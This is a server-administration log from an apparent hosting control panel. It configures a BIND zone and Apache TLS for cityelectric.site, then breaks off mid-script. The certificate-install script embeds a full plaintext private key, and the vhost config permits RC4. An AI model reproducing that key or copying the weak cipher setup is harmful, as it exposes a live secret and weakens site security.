MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 4280f8c05bc7ff45d1502e829357c0b2
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= f90b48a7c1061822ec2b4beef20285a3
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 8aba258068c8c60a7ade3952a285f57d
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d
2025-11-18 16:32:50:
PUT: /tmp/pkp371172
#!/usr/bin/python3
import os, grp, subprocess, time
from pwd import getpwnam
#target cache files
HASH = '73c7599fdd5ae53f1a22acdec3f96f94'
ZONE_NAME = 'cityelectric.site'
TARGET_FILES = '/var/cache/bind'
LOCAL_FILE = '/etc/bind/named.conf.local'
uid = getpwnam('bind').pw_uid
gid = grp.getgrnam('bind')[2]
try:
os.chown(TARGET_FILES + '/' + HASH + '.conf', uid, gid)
os.chown(TARGET_FILES + '/' + HASH + '.txt', uid, gid)
except Exception as ex:
pass
PAYLOAD = 'include "' + HASH + '.conf"; # ' + ZONE_NAME
#text to insert into local
hash_present = False
with open(LOCAL_FILE) as fp:
line = fp.readline()
while line:
if HASH in line:
hash_present = True
break
line = fp.readline()
fp.close()
if not hash_present:
fp = open(LOCAL_FILE, 'a')
fp.write(PAYLOAD + "\n")
fp.close()
# call = old python, 'run' python 3.5+
subprocess.call(['rndc', 'reconfig'])
else:
subprocess.call(['rndc', 'freeze', ZONE_NAME ])
subprocess.call(['rndc', 'reload', ZONE_NAME ])
subprocess.call(['rndc', 'thaw', ZONE_NAME ])
time.sleep(3)
2025-11-18 16:32:50:
chmod 755 /tmp/pkp371172; /tmp/pkp371172; rm /tmp/pkp371172
2025-11-18 16:32:53:
rndc: 'freeze' failed: not dynamic
zone reload queued
STDERR:
rndc: 'freeze' failed: not dynamic
2025-11-18 16:32:53:
PUT: /tmp/pkp577403
#!/bin/bash
rndc reload cityelectric.site 2>&1
2025-11-18 16:32:53:
chmod 755 /tmp/pkp577403; /tmp/pkp577403; rm /tmp/pkp577403
2025-11-18 16:32:53:
zone reload up-to-date
2025-11-18 16:33:03: Establishing a remote connection
2025-11-18 16:33:04:
PUT: /tmp/pkp205142
#!/bin/bash
temp_file=$(mktemp)
chain_file=$(mktemp)
TARGET=8b681b324e20018bd65d7ce40680da56.crt
CHAINTARGET=8b681b324e20018bd65d7ce40680da56.chain.crt
cat > $temp_file <<'endmsg'
1e:c2:aa:aa:4d:86:24:53:fd:4a:7f:6e:c0:7f:1f:bd
-----BEGIN CERTIFICATE-----
MIIFADCCA+igAwIBAgISBYXeYB0BsStA8cvZ/pYg3+M6MA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjUxMTE4MTUzNDMzWhcNMjYwMjE2MTUzNDMyWjAcMRowGAYDVQQD
ExFjaXR5ZWxlY3RyaWMuc2l0ZTCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoC
ggEBAOFTY/aAsAmO9G8peaJYijdE53lFC4Vt/EBKW3F8gvcYrwJuGK4kmwB8ux6f
1gf+Ee+alz7bCgQ6Y49vOdBY2eQvGxLwOAfqMkQbLT3/l3SO75CmyWsi85BnRygu
H8tXiTyboUjcVHXmFG6y1ws6aoMRR1fEdufna8s5A6QsL7UHxFN2mMFq0e89YK8K
9kHffRprYjFhdQFJ5JgXPy+/kc84VNqSxOloA60E73eggQeFrO5uxt6qA9Z585oX
n3tz9I1HhB6ig8zfq42+bHruuwGKpSoPMsukz+uF96KIwgqGE/N3e/un4XhEXqAX
T8hIu1NNxjHmwz0IzPMh02F4tqkCAwEAAaOCAiMwggIfMA4GA1UdDwEB/wQEAwIF
oDAdBgNVHSUEFjAUBggrBgEFBQcDAQYIKwYBBQUHAwIwDAYDVR0TAQH/BAIwADAd
BgNVHQ4EFgQU7+v2EKx3m0vqtM7WXgMZhhlssycwHwYDVR0jBBgwFoAU56ufDywz
oFPTXk94yLKEDjvWkjMwMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAChhdodHRw
Oi8vcjEzLmkubGVuY3Iub3JnLzAcBgNVHREEFTATghFjaXR5ZWxlY3RyaWMuc2l0
ZTATBgNVHSAEDDAKMAgGBmeBDAECATAuBgNVHR8EJzAlMCOgIaAfhh1odHRwOi8v
cjEzLmMubGVuY3Iub3JnLzU5LmNybDCCAQYGCisGAQQB1nkCBAIEgfcEgfQA8gB3
ABmG1Mcoqm/+ugNveCpNAZGqzi1yMQ+uzl1wQS0lTMfUAAABmpfQAxIAAAQDAEgw
RgIhAKi3r232Mol6OzuyPysPDL7V4MEMSSx+zNeigfvMFbu8AiEAxUmD5fhzzC+1
lGssQIOnbs0Yt0Nc8iq6BofWTsDzbzcAdwCWl2S/VViXrfdDh2g3CEJ36fA61fak
8zZuRqQ/D8qpxgAAAZqX0ANeAAAEAwBIMEYCIQDOODMEQW+g5P+eJeJdEtpdwu2U
8sZYI0Dnif8/MwgkiwIhAN27cwEwfJn+yYy+UfVay8r9TquTKPo9BDEffsiqPrKJ
MA0GCSqGSIb3DQEBCwUAA4IBAQBEi4l40wvTFLnteuUgoM6eszaiTXlX5THcVio5
GlPGKrHmI9r9Qzb6fiE2ekKBAAGH5ujjiQl6b7wg5fPtFuHdOxgl4LBhI/QAytpL
5Luf46ABnpPSdr+BfHtaKdsE/OjgtPHvuAN7y8VHTYubAqVCqv0pUaJNRlMoXJLE
nQNsbkuC/NgzL0ShrHBWJTes5IykNEBUu+06uMJx+hWkt92PPsEqujC0aR3t5Brc
iHFUwizWhjjaZoo94EVWBPSXLvkemx/NBGb6HxYYXbc1Y5cCAY/wMCJqiszrYIgA
9gU57Bd5M5egtURx+fNAghTheA0q7TahHF2b8UUPkYdKJjxf
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQDhU2P2gLAJjvRv
KXmiWIo3ROd5RQuFbfxASltxfIL3GK8CbhiuJJsAfLsen9YH/hHvmpc+2woEOmOP
bznQWNnkLxsS8DgH6jJEGy09/5d0ju+QpslrIvOQZ0coLh/LV4k8m6FI3FR15hRu
stcLOmqDEUdXxHbn52vLOQOkLC+1B8RTdpjBatHvPWCvCvZB330aa2IxYXUBSeSY
Fz8vv5HPOFTaksTpaAOtBO93oIEHhazubsbeqgPWefOaF597c/SNR4QeooPM36uN
vmx67rsBiqUqDzLLpM/rhfeiiMIKhhPzd3v7p+F4RF6gF0/ISLtTTcYx5sM9CMzz
IdNheLapAgMBAAECggEAFgx/8qYjE7xeZOZNFbrOQ5xFflNoTjU2AuCD1DYX5rAO
qBE37wp79G9ALD39xqhw/t5EwIzUjRddmLKMmLupDrAhWRgSk4uyQYHbSn7RRkGa
ZbA8c3RnGxFQIDlrOQ2myzx7atLMnQDXrQFpE5sywwKU1ZzO+eBmZut8VLtSK8eY
xiarOedoQ3vKLkZ4sOoG8e6MUNXDJvQVGDXAAaW6+uJCfSR4zDkKFkB6viJvvp63
XSRVYAZwsaQQ8eVvPfhyPjrkha0ZJ/exKX95ihhRP8tt8iliG3t7vEcMIZdVSqq/
DMtdMOMceUxsJEVFCiIJmo+2lIgLsUgRw+2Gyv7bgQKBgQD06X6XbGIXmxkNS1m+
A0MmLTq8UtwSZ4K3SRU2+3pzmjAq9aXROXRD39jYiVEpV1VTpkKjyKPGSluY2nTv
y2bVbpDRQbg43M6xdC5H7sNmIDU0iuQmbvlI43/qbyjY+BCcxW9uoB6KFjVEnQQt
ulrA6JlUfFdj5CXtHFFpCgN6GQKBgQDrhuRuDGVz6oOqXsGWekz8gwaksj9ynplO
6J9DlnDshgSOWqXmDBdso4OhyMdsZ2X147VlxrZ+X1bQ/WoyC/UAg9ze/ZWC+zWy
ek0T1rQetK1kQ2GliUaaj61BbdZawtvopc/EYDHnjcY7ZX+UkNIV22xYT59AUTD+
asgpz9PTEQKBgQC15hH6nyn/xFcH87X0lXGzEha0tonzNWP1g1c5Xe/lmlg6H/aG
/bgnjUL+GIbqQI4EMdD+2k8hQCrlzSLa0uROku8GLFyKBx2Q2Oxiyqff2v4JRzsK
fJOzmhxwXx0kgKG9/jm0HUJxZusrSb9Hw0gSTO9Mu4kgjNvKTqT8cc6BSQKBgHLq
Vfn7wmRUP/mYUgwBkB6EL3GcJqjeCR8fENYBSQeePArY36jmrWcsQMVnGSYjLPRU
LeWClvgBvHIrsuzIOLoPnGyQfapytzhlw8WyNB/nN9J7reD+oZw4Deimlreh63oP
rNe7t52q5tWEKENshZR0guBzuNfAxY7cutzrsgaBAoGAEzacN9YGEwXFGFcqrwrb
JaWpkBSqodQXna3hSZcLrSpCPZeqsb1am4uQzdCaHQHBnVkWx9DiZaqp//0+vuBd
JwwNhZ39NkO3oKRRH+gk+cuabExCcK3O1zfrCPQFyCdNL7XgiSXRATxp5GoFLYY+
pPRLKMvNnNwWxiraTDIsx/o=
-----END PRIVATE KEY-----
endmsg
cat > $chain_file <<'endmsg'
-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
endmsg
chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
cp $temp_file /etc/pki/tls/certs/$TARGET
echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
cp $temp_file /etc/ssl/certs/$TARGET
cp $chain_file /etc/ssl/certs/$CHAINTARGET
echo dir=/etc/ssl/certs
else
echo dir=
fi
rm $temp_file
rm $chain_file
2025-11-18 16:33:04:
chmod 755 /tmp/pkp205142; /tmp/pkp205142; rm /tmp/pkp205142
dir=/etc/ssl/certs
2025-11-18 16:33:05:
PUT: /tmp/pkp616533
#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)
show_file() {
echo $BOUNDARY >> $temp_file
if [ -f "$1" ]; then
FILESIZE=$(stat -c%s "$1")
echo $1 $FILESIZE >> $temp_file
cat $1 >> $temp_file
else
echo $1 0 >> $temp_file
fi
echo >> $temp_file
}
show_file "/etc/apache2/sites-enabled/cityelectric_www_site.conf"
gzip -cn9 $temp_file
rm $temp_file
2025-11-18 16:33:05:
chmod 755 /tmp/pkp616533; /tmp/pkp616533; rm /tmp/pkp616533
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/cityelectric_www_site.conf 45
<VirtualHost *:80>
ServerName cityelectric.site
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/cityelectric_www
<Directory /var/www/cityelectric_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/cityelectric/www_access.log combined
ErrorLog /var/log/apache2/cityelectric/www_error.log
SetEnv pkp_uid 4
SetEnv pkp_owner phil
</VirtualHost>
<VirtualHost *:443>
ServerName cityelectric.site
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/8b681b324e20018bd65d7ce40680da56.crt
DocumentRoot /var/www/cityelectric_www
<Directory /var/www/cityelectric_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/cityelectric/www_secure_access.log combined
ErrorLog /var/log/apache2/cityelectric/www_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
SSLCertificateChainFile /etc/ssl/certs/8b681b324e20018bd65d7ce40680da56.chain.crt
</VirtualHost>
2025-11-18 16:33:07:
PUT: /tmp/pkp881547
#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=cityelectric_www_site.conf
TARGET=/etc/apache2/sites-enabled/cityelectric_www_site.conf
DOCROOT=-
PUBLIC=
cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
<VirtualHost *:80>
ServerName cityelectric.site
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/cityelectric_www
<Directory /var/www/cityelectric_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/cityelectric/www_access.log combined
ErrorLog /var/log/apache2/cityelectric/www_error.log
SetEnv pkp_uid 4
SetEnv pkp_owner phil
</VirtualHost>
<VirtualHost *:443>
ServerName cityelectric.site
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/8b681b324e20018bd65d7ce40680da56.crt
DocumentRoot /var/www/cityelectric_www
<Directory /var/www/cityelectric_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/cityelectric/www_secure_access.log combined
ErrorLog /var/log/apache2/cityelectric/www_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
SSLCertificateChainFile /etc/ssl/certs/8b681b324e20018bd65d7ce40680da56.chain.crt
</VirtualHost>
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 644 $temp_file
cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
mkdir -p
mkdir -p $DOCROOT/$PUBLIC
chown -R : $DOCROOT
ln -s "..//etc/apache2/sites-enabled/cityelectric_www_site.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
echo 'link(/etc/apache2/sites-enabled/cityelectric_www_site.conf)= /etc/apache2//etc/apache2/sites-enabled/cityelectric_www_site.conf'
echo 'file(/etc/apache2//etc/apache2/sites-enabled/cityelectric_www_site.conf= 1'
fi
2025-11-18 16:33:07:
chmod 755 /tmp/pkp881547; /tmp/pkp881547; rm /tmp/pkp881547
2025-11-18 16:33:07:
PUT: /tmp/pkp844426
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl graceful
fi
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
export HOMEBREW_NO_INSTALL_FROM_API=1
brew services restart httpd
fi
echo .
2025-11-18 16:33:07:
chmod 755 /tmp/pkp844426; /tmp/pkp844426; rm /tmp/pkp844426
.
2025-11-18 16:33:09: Establishing a remote connection
2025-11-18 16:33:10:
PUT: /tmp/pkp939461
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl -S
fi
echo .
2025-11-18 16:33:10:
chmod 755 /tmp/pkp939461; /tmp/pkp939461; rm /tmp/pkp939461
VirtualHost configuration:
*:80 is a NameVirtualHost
default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
port 80 namevhost cityelectric.site (/etc/apache2/sites-enabled/cityelectric_www_site.conf:2)
port 80 namevhost desktop.pjy.us (/etc/apache2/sites-enabled/pjy_desktop_us.conf:2)
*:443 is a NameVirtualHost
default server cityelectric.site (/etc/apache2/sites-enabled/cityelectric_www_site.conf:19)
port 443 namevhost cityelectric.site (/etc/apache2/sites-enabled/cityelectric_www_site.conf:19)
port 443 namevhost desktop.pjy.us (/etc/apache2/sites-enabled/pjy_desktop_us.conf:21)
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex ssl-stapling: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.
2025-11-18 16:33:11:
PUT: /tmp/pkp221508
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
